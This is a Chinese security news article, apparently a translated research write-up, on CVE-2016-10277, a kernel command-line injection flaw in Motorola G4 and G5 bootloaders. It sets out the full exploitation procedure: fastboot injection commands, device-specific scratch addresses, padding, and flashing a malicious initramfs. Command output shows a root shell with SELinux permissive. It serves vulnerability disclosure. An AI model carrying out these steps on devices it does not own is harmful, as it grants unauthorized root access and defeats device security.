频道栏目
首页 > 资讯 > 系统安全 > 正文

摩托罗拉G4 & G5手机被曝存在高危内核命令行注入漏洞

17-06-14        来源:[db:作者]  
收藏   我要投稿

摩托罗拉G4 & G5手机被曝存在高危内核命令行注入漏洞。漏洞CVE-2016-10277很有可能会影响摩托罗拉设备。事实证明了这个猜想。

为了证明摩托罗拉设备中存在这样的一种高危漏洞,我们弄了两台摩托罗拉手机,然后将它们的系统升级至了最新版本:

1. MotoG4 athene XT1622,系统版本:NPJS25.93-14.4,Bootloader:moto-msm8952-B1.05;

2. MotoG5 cedric XT1676,系统版本:NPP25.137-33,bootloader:moto-msm8937-B8.09;

漏洞CVE-2016-10277

1. 存在漏洞的摩托罗拉Android Bootloader(ABOOT)将允许攻击者实现内核命令行注入。

2. 我们可以注入一个名叫“initrd”的参数,它将允许我们迫使Linux内核把initramfs填充至rootfs中,而且还可以指定物理地址。

3. 我们可以利用ABOOT的下载功能来将我们的恶意initramfs存放到已知的物理地址SCRATCH_ADDR(Nexus 6中为0×11000000)。

4. 攻击者可以利用这个漏洞来拿到毫不受限的root shell。

验证Moto G4 & G5上的漏洞CVE-2016-10277

实验表明,这两种型号的设备的确会受到该漏洞的影响,而且漏洞的利用也非常简单。我们只需要运行命令fastboot oem config fsg-id “a androidboot.foo=bar”,就可以直接创建出ro.boot.foo属性(property):

$fastboot oem config fsg-id "a androidboot.foo=bar"

...

(bootloader)

(bootloader)

(bootloader) a androidboot.foo=bar

(bootloader)

(bootloader)

(bootloader) FSG IDs, see http://goo.gl/gPmhU

(bootloader)

(bootloader)

OKAY[ 0.013s]

$fastboot continue

$ adbshell

cedric:/$ getprop ro.boot.foo

bar

cedric:/$

这也就意味着我们已经将这个参数注入到cedric的内核命令行之中了。接下来,我们证明了我们能够控制initrd参数,而它将允许我们迫使Linux内核从一个指定的物理地址加载initramfs。我们可以通过运行命令fastboot oem config fsg-id “a initrd=0×12345678,1234″来让内核发生崩溃。

正如之前所提到的,在我们利用该漏洞来对G4 & G5设备进行测试之前,我们还需要满足两个特殊的要求:

1. 找到bootloader所使用的SCRATCH_ADDR值。

2. 创建恶意initramfs文档。

查找SCRATCH_ADDR值

在IDA中加载athene的ABOOT以及cedric的ABOOT之后,我们迅速得到了SCRATCH_ADDR的值:

//athene

signedint target_get_scratch_address()

{

return 0x90000000;

}

//cedric

signedint target_get_scratch_address()

{

return 0xA0100000;

}

验证SCRATCH_ADDR的值

在我们讲解恶意initramfs的构造方法之前,我们需要验证SCRATCH_ADDR值的正确性,否则我们得到的分析结果很可能会有问题。

为了验证这个地址的正确性,我们从摩托罗拉的官方固件镜像中提取出了原始的initramfs文档,然后利用这个漏洞从地址SCRATCH_ADDR加载官方的initramfs。

...

(bootloader)"fsg-id" type="str"protected="false">

(bootloader)

(bootloader) a initrd=0x90000000,1766036

(bootloader) /value>

(bootloader)

(bootloader) FSG IDs, see http://goo.gl/gPmhU

(bootloader) /description>

(bootloader)UTAG>

OKAY[ 0.015s]

finished.total time: 0.015s

$fastboot flash aleph initramfs.cpio.gz

targetreported max download size of 536870912 bytes

sending'aleph' (1725 KB)...

OKAY[ 1.088s]

writing'aleph'...

(bootloader)Invalid partition name aleph

FAILED(remote failure)

finished.total time: 1.095s

$fastboot continue

此时文件并没有正常加载,而设备则进入了无限重启,这就让我们非常郁闷了。

填充Payload

我们进行了大胆的猜测,最终发现,当我们将initramfs加载进了地址SCRATCH_ADDR之后,并在ABOOT跳转到Linux内核之前,cedric和athene的ABOOT会将其它一些不相关的数据放入SCRATCH_ADDR之中,并导致了我们的initramfs发生崩溃(但并非完全崩溃)。

现在,我们只要在initramfs之前填充一些数据,然后相应地调整initrd(SCRATCH_ADDR + sizeof(PADDING))即可解决崩溃问题。因此,如果我们的假设是正确的,那么我们就能够在Linux内核真正开始运行之前得到如下所示的内存数据(结构):

我们填充了32MB数据(0×2000000)并成功解决了无限重启的问题。

创建Moto G4 & G5的initramfs以及漏洞PoC

对于之前Nexus 6的情况来说,为了创建一个initramfs并通过adb获取到毫不受限的root shell,我们编译了一个AOSP userdebug镜像。我们之所以要这样做,是因为userdebug镜像能够通过su访问SELinux域,而adbd可以给我提供一些系统属性。

更新后的PoC可以在我们的GitHub代码库中找到。

了解了上述内容之后并运行我们所提供的PoC,我们就能够成功拿到root shell。

MotoG4:

$fastboot oem config fsg-id "a initrd=0x92000000,1774281"

$fastboot flash aleph initroot-athene.cpio.gz

$fastboot continue

$ adbshell

athene:/# id

uid=0(root)gid=0(root)groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc)context=u:r:kernel:s0

athene:/# getenforce

Permissive

athene:/#

MotoG5:

$fastboot oem config fsg-id "a initrd=0xA2100000,1588598"

$fastboot flash aleph initroot-cedric.cpio.gz

$fastboot continue

$ adbshell

cedric:/# id

uid=0(root)gid=0(root)groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc)context=u:r:kernel:s0

cedric:/# getenforce

Permissive

cedric:/#

相关TAG标签
上一篇:腾讯云成都数据中心正式开放:8度抗震/容灾≤3ms
下一篇:如何评价国内SRC纷纷上线“白帽子协议”?
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站